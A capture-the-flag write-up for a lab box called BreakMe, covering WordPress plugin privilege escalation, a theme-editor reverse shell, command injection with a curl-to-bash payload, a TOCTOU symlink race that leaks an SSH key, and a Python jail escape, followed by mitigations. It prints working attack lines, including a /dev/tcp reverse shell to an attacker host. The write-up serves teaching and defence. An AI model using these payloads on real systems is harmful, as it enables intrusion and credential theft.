> For the complete documentation index, see [llms.txt](https://0xyogesh.gitbook.io/exploitnotes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xyogesh.gitbook.io/exploitnotes/writeups/tryhackme/breakme-writeup.md). Agents can also search and read this documentation through its [MCP server](https://0xyogesh.gitbook.io/exploitnotes/~gitbook/mcp).

# BreakMe Writeup

BreakMe is a Debian box running Apache with a WordPress install under `/wordpress`. A vulnerable plugin (**WP Data Access 5.3.5**) lets a low-privileged WordPress user escalate to Administrator by tampering with a profile-update request. From there, the WordPress Theme Editor gives arbitrary PHP execution, landing a `www-data` shell. An internal-only web service on port 9999 is vulnerable to OS command injection, pivoting to the user `john`. From `john`, a **TOCTOU race condition** against a SUID binary owned by `youcef` leaks `youcef`'s SSH private key, which is then cracked offline to get a shell as `youcef`. Finally, a restricted `sudo` rule lets `youcef` run a **Python "jail" script as root**, which is escaped using `str.swapcase()` to defeat a keyword blacklist, giving a full root shell.

## Recon

```bash
nmap -A -Pn <TARGET_IP> -o nmap
```

Two open ports:

| Port | Service | Version                        |
| ---- | ------- | ------------------------------ |
| 22   | ssh     | OpenSSH 8.4p1 Debian 5+deb11u1 |
| 80   | http    | Apache 2.4.56 (Debian)         |

The root of the web server just serves the default "Apache2 Debian Default Page". Content discovery was needed to find anything interesting.

```bash
dirsearch -u http://<TARGET_IP>/ -C 403,404
ffuf -u http://<TARGET_IP>/ -H "HOST: FUZZ.<TARGET_IP>" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -ac
ffuf -u http://<TARGET_IP>/FUZZ -w /usr/share/wordlists/dirb/big.txt
feroxbuster -u http://<TARGET_IP>/
```

`ffuf`/`feroxbuster` against `big.txt` turned up two directories of interest:

```
manual                  [Status: 301, Size: 313, ...]
wordpress               [Status: 301, Size: 316, ...]
```

`/manual/` is just the stock Apache manual. `/wordpress/` is the real target: a live WordPress site called "Breakme".

## Enumeration: WordPress

Fetching `/wordpress/` shows a WordPress site using the **Twenty Twenty-Four** theme, a generator tag confirming **WordPress 6.4.3**, and a plugin reference to `wp-data-access` in the page source.

`wpscan` was used to enumerate plugins, users, and versions:

```bash
wpscan --url http://<TARGET_IP>/wordpress/ --api-token <TOKEN> -e vp,vt,u
```

Key findings:

* **WordPress 6.4.3** — outdated, with several disclosed vulnerabilities.
* Plugin **WP Data Access**, version **5.3.5** — badly outdated, with multiple known CVEs including an unauthenticated SQL injection and a **privilege escalation** bug: CVE-2023-1874, fixed in 5.3.8.
* Users enumerated via REST API / author brute force: **admin**, **bob**.

A password attack against `wp-login` with the two known usernames found valid credentials:

```bash
wpscan --url http://<TARGET_IP>/wordpress/ -U admin,bob -P /usr/share/wordlists/rockyou.txt
```

```
[SUCCESS] - bob / soccer
```

## Initial Foothold: Privilege Escalation to WordPress Administrator

Logging in as `bob` (`bob / soccer`) lands on a normal Subscriber/Author-level dashboard. The outdated **WP Data Access** plugin is vulnerable to a privilege escalation issue documented by Wordfence: [Privilege Escalation Vulnerability Patched Promptly in WP Data Access WordPress Plugin](https://www.wordfence.com/blog/2023/04/privilege-escalation-vulnerability-patched-promptly-in-wp-data-access-wordpress-plugin/).

The plugin adds an extra parameter, `wpda_role[]`, to the profile-update form that is not properly authorized server-side.

{% stepper %}
{% step %}

## Open the profile page

Go to `Profile` in the WordPress admin dashboard as `bob`.
{% endstep %}

{% step %}

## Intercept the update request

Intercept the `POST /wordpress/wp-admin/profile.php` request in Burp Suite when clicking **Update Profile**.
{% endstep %}

{% step %}

## Tamper with the request

Append `&wpda_role[]=administrator` to the POST body.
{% endstep %}

{% step %}

## Forward and refresh

Forward the request, then refresh the dashboard.

`bob` is now listed as an **Administrator** alongside `admin`.
{% endstep %}
{% endstepper %}

{% hint style="warning" %}
Getting a value wrong here can lock you out of the dashboard entirely, requiring a machine restart. Double-check the request before forwarding it.
{% endhint %}

## Remote Code Execution: Theme Editor

With Administrator access, the built-in **Theme File Editor** (`Appearance > Theme File Editor` / `Tools > Theme File Editor`) allows editing arbitrary PHP files inside any installed theme. This is a well-documented WordPress admin-panel-to-RCE technique covered by HackTricks: [WordPress - Panel RCE](https://hacktricks.wiki/en/network-services-pentesting/pentesting-web/wordpress.html#panel-rce).

{% stepper %}
{% step %}

## Select an inactive theme

Select a theme that is not active and has a template with a `.php` extension. In this case, **Twenty Twenty-One** has `404.php`.
{% endstep %}

{% step %}

## Add a PHP reverse shell

Paste a PHP reverse shell into `404.php` and click **Update File**.
{% endstep %}

{% step %}

## Trigger the payload

Request the file directly:

```
http://<TARGET_IP>/wordpress/wp-content/themes/twentytwentyone/404.php
```

{% endstep %}
{% endstepper %}

Caught the callback with `penelope`:

```
penelope -p 4444 listen
[+] [New Reverse Shell] => Breakme <TARGET_IP> Linux-x86_64 👤 www-data(33) Session ID <1>
[+] Upgrading shell to PTY...
```

```bash
www-data@Breakme:/$ whoami
www-data

www-data@Breakme:/$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

## Post-Exploitation Recon as www-data

```bash
www-data@Breakme:/$ ls /home
john  lost+found  youcef

www-data@Breakme:/$ cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
john:x:1002:1002:john wick,14,14,14:/home/john:/bin/bash
youcef:x:1000:1000:youcef,17,17,17:/home/youcef:/bin/bash
```

Both `john` and `youcef`'s home directories, and `john`'s flag (`user1.txt`), are permission-denied from `www-data`.

Checking listening services:

```bash
www-data@Breakme:/$ ss -tulnp
tcp   LISTEN   127.0.0.1:3306       # MySQL, local only
tcp   LISTEN   127.0.0.1:9999       # interesting - internal only
tcp   LISTEN   0.0.0.0:22
tcp   LISTEN   *:80
```

Port `9999` is only bound to loopback, so it is not reachable from outside. However, `www-data` can reach it locally:

```bash
www-data@Breakme:/$ curl http://localhost:9999/
```

```html
<html>
<head>
        <title>Test</title>
        <style>
                .checkTarget{ position:absolute; width:calc(30%); height:450px; top:calc(10%);
                left:calc(2.5%); border:3px solid green; border-radius:5%;
                background-color:rgb(180,220,180); text-align:center; }
                .checkUser{ position:absolute; width:calc(30%); height:450px; top:calc(10%);
                left:calc(35%); border:3px solid green; border-radius:5%;
                background-color:rgb(180,220,180); text-align:center; }
                .checkFile{ position:absolute; width:calc(30%); height:450px; top:calc(10%);
                left:calc(67.5%); border:3px solid green; border-radius:5%;
                background-color:rgb(180,220,180); text-align:center; }
                body{ background-color:rgb(200,200,200); }
        </style>
</head>
<body>
        <h1 style="color:rgb(50,100,50);">My Tools:</h1>
        <!--Only numerical IPs allowed -->
        <div class="container">
        <form class="checkTarget" method="POST">
                <h3>Check Target:</h3>
                <input name="cmd1" type="text" placeholder="Target IP" />
                <input type="submit" value="Run" />
                <h3>Result:</h3><div class="output"><pre></pre></div>
        </form>
        <form class="checkUser" method="POST">
                <h3>Check User:</h3>
                <input name="cmd2" type="text" placeholder="User name" />
                <input type="submit" value="Run" />
                <h3>Result:</h3><div class="output"><pre></pre></div>
        </form>
        <form class="checkFile" method="POST">
                <h3>Check File:</h3>
                <input name="cmd3" type="text" placeholder="File name" />
                <input type="submit" value="Run" />
                <h3>Result:</h3><div class="output"><pre></pre></div>
        </form>
        </div>
</body>
</html>
```

A small internal admin tool, "My Tools", has three POST forms:

* `cmd1` — "Check Target" and takes an IP.
* `cmd2` — "Check User" and takes a username.
* `cmd3` — "Check File" and takes a filename.

## Command Injection on the Internal "My Tools" App

Testing `cmd1` with a real IP confirms it runs a genuine `ping`:

```bash
www-data@Breakme:/$ curl -s -X POST http://localhost:9999/ --data 'cmd1=<ATTACKER_IP>'
```

Confirmed with `tcpdump` on the attacker box:

```
tcpdump -i tun0 icmp
09:07:56 IP <TARGET_IP> > <ATTACKER_IP>: ICMP echo request, id 20588, seq 1
09:07:56 IP <ATTACKER_IP> > <TARGET_IP>: ICMP echo reply, id 20588, seq 1
```

### Probing `cmd2` and `cmd3` for the Filter

`cmd1` is locked down tightly to digits and dots. `cmd2` and `cmd3` echo "not found" style messages, so probes were sent and the reflected output inspected to determine which characters and substrings survived filtering.

```bash
www-data@Breakme:/$ curl -X POST http://localhost:9999/ --data 'cmd2=$(id)'
```

```
<pre>User $id not found</pre>
```

`$(...)` command substitution was stripped to a bare `$id`: the parentheses were filtered out.

```bash
www-data@Breakme:/$ curl -s -X POST http://localhost:9999/ --data 'cmd2=|'
```

```
<pre>User | not found</pre>
```

A bare pipe character survives untouched.

```bash
www-data@Breakme:/$ curl -s -X POST http://localhost:9999/ \
  --data-urlencode 'cmd2=!@#$%^&*()_+={}[]:;'"'"'"<>,?/\'
```

```
<pre>User ${}:/ not found</pre>
```

The characters `$`, `{`, `}`, `:`, and `/` survived, while `!@#%^&*()+=[];'"<>,?\` were stripped.

```bash
www-data@Breakme:/$ curl -X POST http://localhost:9999/ --data 'cmd2=|ping${IFS}localhost'
```

```
<pre>User |ping${IFS}localhost not found</pre>
```

`${IFS}`, used as a space substitute, survives intact.

```bash
www-data@Breakme:/$ curl -X POST http://localhost:9999/ --data 'cmd2=|ping$(IFS)localhost'
```

```
<pre>User |ping$IFSlocalhost not found</pre>
```

`$(IFS)` has its parentheses stripped, confirming that parentheses are filtered while `{` and `}` are not.

A leading pipe followed by a command using `${IFS}` in place of spaces survives intact:

```bash
www-data@Breakme:/$ curl -X POST http://localhost:9999/ --data 'cmd2=|ping${IFS}<ATTACKER_IP>'
```

`tcpdump` confirms ICMP traffic from the target. This is a working OS command injection in the `cmd2` parameter.

Once a shell was landed, the app source was found at `~/internal/index.php`:

```php
function run($command,$value){
    if($command=="cmd1"){
        if(isvalidip($value)&&!preg_match("/[^0-9.]/",$value)){
            $output=shell_exec("ping -c 2 $value >/dev/null 2>&1 &");
            echo htmlspecialchars($output);
        }else{ echo "Invalid IP address"; }
    }
    else if($command=="cmd2"){
        $val=preg_replace("/[^a-zA-Z0-9\|\$\{\}\/\:.]/","",$value);
        $output=shell_exec("id $val >/dev/null 2>&1 &");
        ...
    }
    else{
        if(!preg_match("/[^a-zA-Z]/",$value)){
            $output=shell_exec("find /opt -name \"$value\" 2>/dev/null");
            ...
        }else{ echo "Invalid Filename"; }
    }
}
```

`cmd2` uses the denylist regex `[^a-zA-Z0-9\|\$\{\}\/\:.]`, allowing letters, digits, and the characters `| $ { } / : .`. Those allowed characters are sufficient to build a working shell command using `|` and `${IFS}`.

### Getting a Shell

Host a one-line reverse shell script and a `python3 -m http.server` on the attacker box:

```bash
# attacker
cat > shell.sh << 'EOF'
/bin/bash -i >& /dev/tcp/<ATTACKER_IP>/3333 0>&1
EOF
python3 -m http.server 80
```

Pull and execute it through the injection:

```bash
curl -X POST http://localhost:9999/ --data 'cmd2=|curl${IFS}http://<ATTACKER_IP>/shell.sh${IFS}|${IFS}bash'
```

```
penelope -p 3333 listen
[+] [New Reverse Shell] => Breakme <TARGET_IP> Linux-x86_64 👤 john(1002) Session ID <1>
```

```bash
john@Breakme:~/internal$ whoami
john

john@Breakme:~/internal$ id
uid=1002(john) gid=1002(john) groups=1002(john)

john@Breakme:~/internal$ cat /home/john/user1.txt
[REDACTED]
```

The internal service runs as `john`, so the command injection lands a shell as that user directly.

## Privilege Escalation to youcef: TOCTOU Race Condition

`youcef`'s home directory contains a SUID binary, `readfile`, and its source:

```bash
john@Breakme:/home/youcef$ ls -la
-rwsr-sr-x 1 youcef youcef 17176 Aug  2  2023 readfile
-rw------- 1 youcef youcef  1026 Aug  2  2023 readfile.c
drwx------ 2 youcef youcef  4096 Aug  5  2023 .ssh

john@Breakme:/home/youcef$ cat readfile.c
cat: readfile.c: Permission denied
```

`readfile.c` is not readable as `john`; only the compiled SUID `readfile` binary is available. The binary was pulled to the attacker box and reverse engineered.

### Reverse Engineering the Binary

```bash
john@Breakme:/home/youcef$ python3 -m http.server 80
PermissionError: [Errno 13] Permission denied

john@Breakme:/home/youcef$ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
```

Port 80 requires root, so port 8000 was used. `readfile.c` was requested as well, but returned 404 as expected:

```bash
# attacker
wget http://<TARGET_IP>:8000/readfile
wget http://<TARGET_IP>:8000/readfile.c
```

```
--2026-08-07 09:35:12--  http://<TARGET_IP>:8000/readfile.c
HTTP request sent, awaiting response... 404 File not found
```

```
root@kali:~# file readfile
readfile: ELF 64-bit LSB pie executable, x86-64, ... dynamically linked, ... not stripped

root@kali:~# strings readfile
...
Usage: ./readfile <FILE>
File Not Found
You can't run this program
flag
id_rsa
Nice try!
I guess you won!
readfile.c
fd >= 0 && "Failed to open the file"
...
puts@GLIBC_2.2.5  write@GLIBC_2.2.5  __lxstat@GLIBC_2.2.5  getuid@GLIBC_2.2.5
__assert_fail@GLIBC_2.2.5  read@GLIBC_2.2.5  open@GLIBC_2.2.5  access@GLIBC_2.2.5
strstr@GLIBC_2.2.5  usleep@GLIBC_2.2.5
```

The binary is not stripped, so `objdump -d -Mintel readfile` shows readable named function calls in `main`. The logical flow is:

1. `access(argv[1], F_OK)` checks that the file exists.
2. `getuid()` is compared against `0x3ea`, or decimal **1002**, which is `john`'s UID.
3. `strstr(argv[1], "flag")` and `strstr(argv[1], "id_rsa")` check the filename.
4. `__lstat`, or `lstat()`, checks whether the path is a symlink.
5. `access(argv[1], R_OK)` checks readability.
6. If the checks pass, `open()` and a `read()`/`write()` loop dump the file to stdout.

The important observation is that `lstat()` and `open()` are separate syscalls against the same path, with `usleep()` between them: a classic TOCTOU gap.

The source was later readable as `youcef`:

```c
int main(int argc, char **argv, char **envp) {
    ...
    }else if(getuid()!=1002){
        puts("You can't run this program");
        return 1;
    }

    char *flag = strstr(argv[1], "flag");
    char *id_rsa = strstr(argv[1], "id_rsa");
    lstat(argv[1], &lstat_buf);
    int symlink_check = (S_ISLNK(lstat_buf.st_mode));
    int res = access(argv[1], R_OK);
    usleep(0.8);

    if (flag || symlink_check || res==-1 || id_rsa) {
        puts("Nice try!");
        return 1;
    } else {
        puts("I guess you won!\n");
        int fd = open(argv[1], 0);
        ...
    }
}
```

If the path is swapped from a regular file to a symlink pointing to `/home/youcef/.ssh/id_rsa` between the `lstat()` and `open()` calls, the symlink check sees a regular file while `open()` follows the now-symlinked path and reads `id_rsa`.

Sanity-check the binary:

```bash
john@Breakme:/home/youcef$ ./readfile readfile.c
Nice try!

john@Breakme:/home/youcef$ ./readfile /root/root.txt
File Not Found
```

### Building the Race

The correct heredoc form, `<<` with a quoted delimiter, was used for both scripts.

```bash
# flip.sh
TARGET="/home/youcef/.ssh/id_rsa"
touch real_loot && chmod 644 real_loot
ln -sf "$TARGET" link_loot

while true; do
  mv -T link_loot loot
  ln -sf "$TARGET" link_loot
  mv -T real_loot loot
  : > real_loot; chmod 644 real_loot
done
```

```bash
# race.sh
i=0
while true; do
  out=$(/home/youcef/readfile loot 2>/dev/null)
  i=$((i+1))
  if [[ "$out" == *"PRIVATE KEY"* ]]; then
    echo "$out"
    echo "[+] Won after $i attempts"
    break
  fi
done
```

Make the scripts executable and remove the stray `EOF` file:

```bash
john@Breakme:~/race$ chmod +x flip.sh race.sh
john@Breakme:~/race$ rm EOF
```

Run the file-flipping process and race loop:

```bash
john@Breakme:~/race$ ./flip.sh &
./race.sh
```

```
-----BEGIN OPENSSH PRIVATE KEY-----
...
-----END OPENSSH PRIVATE KEY-----
I guess you won!
[+] Won after 71 attempts
```

### Cracking and Using the Key

The leaked key is passphrase-protected:

```bash
john@Breakme:~/race$ ssh -i /home/john/id_rsa_youcef youcef@localhost
Enter passphrase for key '/home/john/id_rsa_youcef':
```

`ssh2john.py` was located at:

```
/opt/john-bleeding/run/ssh2john.py
```

Generate the hash and crack it using `rockyou.txt`:

```bash
root@kali:~# python3 /opt/john-bleeding/run/ssh2john.py yousef > yousef.hash
root@kali:~# john --wordlist=/usr/share/wordlists/rockyou.txt yousef.hash
```

```
a123456          (yousef)
1g 0:00:00:18 DONE
```

SSH in as `youcef`:

```bash
ssh -i /home/john/id_rsa_youcef youcef@localhost
```

```
Enter passphrase for key '...': a123456
```

```bash
youcef@Breakme:~$ whoami
youcef

youcef@Breakme:~$ cat .ssh/user2.txt
[REDACTED]
```

## Privilege Escalation to root: Python Jail Escape

```bash
youcef@Breakme:~$ sudo -l
User youcef may run the following commands on breakme:
    (root) NOPASSWD: /usr/bin/python3 /root/jail.py
```

`youcef` can run a Python script as root without a password:

```bash
youcef@Breakme:~$ sudo /usr/bin/python3 /root/jail.py
```

```
  Welcome to Python jail
  Will you stay locked forever
  Or will you BreakMe
>> import os
Illegal Input
```

The script `exec()`s user input after filtering against a blacklist of substrings including `import`, `os`, `system`, `exec`, `eval`, `open`, `subprocess`, `builtins`, and `__import__`.

`globals()`, `locals()`, `dir()`, and attribute access through `__dict__` work because their literal strings are not blacklisted:

```python
>> print(__builtins__.__dict__)
{... '__import__': <built-in function __import__>, ... }
```

The bypass uses Python's `.swapcase()` method. A blacklisted word can be written in the opposite case and converted at runtime, so the literal blacklisted substring never appears in the input inspected by the filter:

```python
>> print('SYSTEM'.swapcase())
system
```

Use the bypass to run `id`:

```python
>> print(__builtins__.__dict__['__IMPORT__'.swapcase()]('OS'.swapcase()).__dict__['SYSTEM'.swapcase()]('ID'.swapcase()))
```

```
uid=0(root) gid=0(root) groups=0(root)
```

Spawn an interactive root shell:

```python
>> print(__builtins__.__dict__['__IMPORT__'.swapcase()]('OS'.swapcase()).__dict__['SYSTEM'.swapcase()]('/BIN/BASH'.swapcase()))
```

```bash
root@Breakme:/home/youcef# whoami
root

root@Breakme:/home/youcef# id
uid=0(root) gid=0(root) groups=0(root)

root@Breakme:~# cat .root.txt
[REDACTED]
```

## Key Vulnerabilities

| # | Vulnerability                                                                                                 | Component                                                 |
| - | ------------------------------------------------------------------------------------------------------------- | --------------------------------------------------------- |
| 1 | Weak WordPress user password (`bob` / `soccer`), reachable via password attack                                | WordPress login                                           |
| 2 | Privilege escalation via unauthenticated parameter injection (`wpda_role[]`) on profile update                | WP Data Access plugin 5.3.5 (CVE-2023-1874)               |
| 3 | Arbitrary PHP write/execute via built-in Theme File Editor                                                    | WordPress core                                            |
| 4 | OS command injection via a denylist regex (`[^a-zA-Z0-9\|\$\{\}\/\:.]`) that still allows `\|`, `$`, `{`, `}` | Internal "My Tools" service, port 9999 (`cmd2` parameter) |
| 5 | TOCTOU race condition between `lstat()` symlink check and `open()`                                            | SUID `readfile` binary                                    |
| 6 | Blacklist-based sandbox using substring matching, bypassable with `str.swapcase()`                            | `/root/jail.py`, invoked via passwordless `sudo`          |

## Mitigations

* **Patch WordPress and all plugins.** WP Data Access 5.3.5 is years out of date and has a disclosed privilege escalation bug. Upgrading past 5.3.8 closes it.
* **Enforce strong, unique passwords** for WordPress accounts and rate-limit or lock out `wp-login.php` to prevent password attacks.
* **Disable the Theme/Plugin File Editor** in `wp-config.php`:

  ```php
  define('DISALLOW_FILE_EDIT', true);
  ```
* **Never trust client-supplied input passed to shell commands.** The port-9999 tool's `cmd2` handler uses a denylist regex that permits `|`, `$`, `{`, and `}`. Use `escapeshellarg()`/`escapeshellcmd()` correctly or avoid `shell_exec()` entirely in favor of an allowlist of known-safe values.
* **Avoid TOCTOU patterns entirely.** Open the file first, such as with `O_NOFOLLOW`, then use `fstat()` on the resulting descriptor rather than checking a path and later opening that same path by name.
* **Do not roll a Python sandbox with a keyword blacklist.** String-level filtering can be defeated with case changes, encodings, and attribute-access tricks. Root code execution should not be reachable through `sudo`; use actual isolation mechanisms rather than matching strings against `exec()`'d input.

## Attack Chain

```
Weak creds (bob/soccer)
   |--> WP Data Access parameter-tampering privesc -> Administrator
          |--> Theme Editor RCE (404.php reverse shell) -> www-data
                 |--> Command injection on internal port-9999 service -> john
                        |--> TOCTOU race vs SUID readfile -> leak youcef's id_rsa
                               |--> Offline passphrase crack (rockyou) -> youcef
                                      |--> sudo Python jail escape (swapcase bypass) -> root
```
